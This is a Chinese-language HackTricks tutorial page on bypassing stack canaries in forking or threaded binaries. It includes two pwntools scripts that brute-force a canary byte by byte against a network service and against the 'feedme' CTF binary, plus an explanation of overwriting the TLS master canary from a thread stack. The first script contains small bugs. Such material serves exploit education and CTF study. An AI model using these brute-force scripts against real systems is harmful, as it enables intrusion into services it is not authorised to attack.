BF Forked & Threaded Stack Canaries

从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！

支持HackTricks的其他方式：

• 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks，请查看订阅计划!

• 获取官方PEASS & HackTricks周边产品

• 探索PEASS家族，我们的独家NFTs收藏品

• 加入 💬 Discord群组 或 电报群组 或 关注我们的Twitter 🐦 @hacktricks_live。

• 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。

如果您面对一个由canary和PIE（位置无关可执行文件）保护的二进制文件，您可能需要找到一种绕过它们的方法。

请注意，**checksec**可能无法发现一个二进制文件受到canary保护，如果它是静态编译的，并且无法识别该函数。 但是，您可以手动注意到这一点，如果您发现在函数调用开始时将一个值保存在堆栈中，并且在退出之前检查了这个值。

Brute force Canary

绕过简单canary的最佳方法是，如果二进制文件是一个程序，每次您与其建立新连接时都会fork子进程（网络服务），因为每次连接到它时将使用相同的canary。

因此，绕过canary的最佳方法就是逐个字符地暴力破解它，您可以通过检查程序是否崩溃或继续其正常流程来判断猜测的canary字节是否正确。在这个示例中，函数暴力破解一个8字节的canary（x64），并区分正确猜测的字节和错误的字节，只需检查服务器是否发送了响应（在其他情况下，另一种方法可能是使用try/except）：

示例1

此示例是为64位实现的，但也可以轻松实现为32位。

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

示例 2

这是为32位系统实现的，但很容易改为64位。 还要注意，对于这个示例，程序首先期望一个字节来指示输入的大小和有效载荷。

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

线程

同一进程的线程也会共享相同的canary token，因此如果二进制文件在每次攻击发生时生成一个新线程，就有可能暴力破解canary。

此外，如果一个受canary保护的线程函数发生缓冲区溢出，就可以用来修改存储在TLS中的主canary。这是因为可能可以通过线程的堆栈中的bof达到存储TLS（因此也是canary）的内存位置。 因此，这种缓解措施是无效的，因为检查是使用两个相同的canary（尽管被修改）。 这种攻击在以下解说中执行：http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

还请查看https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015的演示，其中提到通常TLS由**mmap存储，当创建线程的堆栈**时，也是由mmap生成的，根据这一点，可能允许如前述解说中所示的溢出。

其他示例和参考资料

• https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html

• 64位，无PIE，nx，BF canary，在某些内存中写入ROP以调用execve并跳转到那里。